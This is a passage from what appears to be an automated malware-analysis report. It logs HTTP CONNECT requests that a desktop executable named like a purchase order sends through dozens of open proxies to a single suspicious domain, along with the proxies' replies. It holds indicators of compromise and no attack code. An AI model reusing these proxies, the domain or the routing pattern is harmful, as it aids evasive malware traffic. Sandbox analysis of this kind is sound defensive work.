Mar 11, 2024 16:39:48.334177017 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.10	52179	60.188.102.225	18080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.077560902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.10	52946	38.54.95.19	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.077562094 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:50.296679974 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:39:51.419521093 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:39:52.731719971 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:39:55.549477100 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:40:00.923472881 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:40:11.419655085 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:40:33.435606003 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.10	52854	103.174.178.132	1020	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.077655077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.10	50964	20.33.5.27	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.082178116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.157742977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.208051920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.226012945 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.10	52948	38.54.95.19	9080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.082530975 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.10	52913	201.71.2.41	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.085424900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.960314035 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.10	52960	5.161.103.113	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.086884022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.302082062 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.10	52171	31.211.130.237	8192	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.091259956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.10	52368	43.129.228.46	7890	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.095773935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.399561882 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.10	52867	5.61.33.234	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.097032070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.10	52141	103.60.186.21	52195	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.098596096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.10	51119	162.253.68.97	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.098817110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.10	52945	70.166.167.55	57745	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.102051020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.10	52261	189.240.60.171	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.102051973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.568901062 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.10	52871	185.38.111.1	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.102231979 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:48.520673037 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Length: 0
Mar 11, 2024 16:39:48.865740061 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.10	52989	3.90.100.12	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.115639925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.333966017 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:48 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.10	52868	45.138.87.238	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.117461920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.10	52333	159.223.71.71	51616	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.124181032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.285739899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.10	52838	106.105.218.244	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.129175901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.10	51034	36.64.22.18	8199	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.130645037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.10	53036	104.16.213.202	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.132798910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.286952972 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.10	53011	159.223.166.21	5199	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.132800102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.705266953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.411276102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.879736900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.10	53057	74.48.7.43	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.162230015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.10	51005	37.156.146.163	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.179698944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.285953045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.289287090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.473736048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.10	53053	162.214.121.173	44826	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.179877043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.705262899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.410968065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.10	52942	45.11.95.165	5034	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.180182934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.961522102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.048208952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.402167082 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.10	52956	213.17.246.46	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.184238911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.501120090 CET	696	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.10	52936	170.84.205.17	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.198966980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.10	52991	130.162.213.175	3129	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
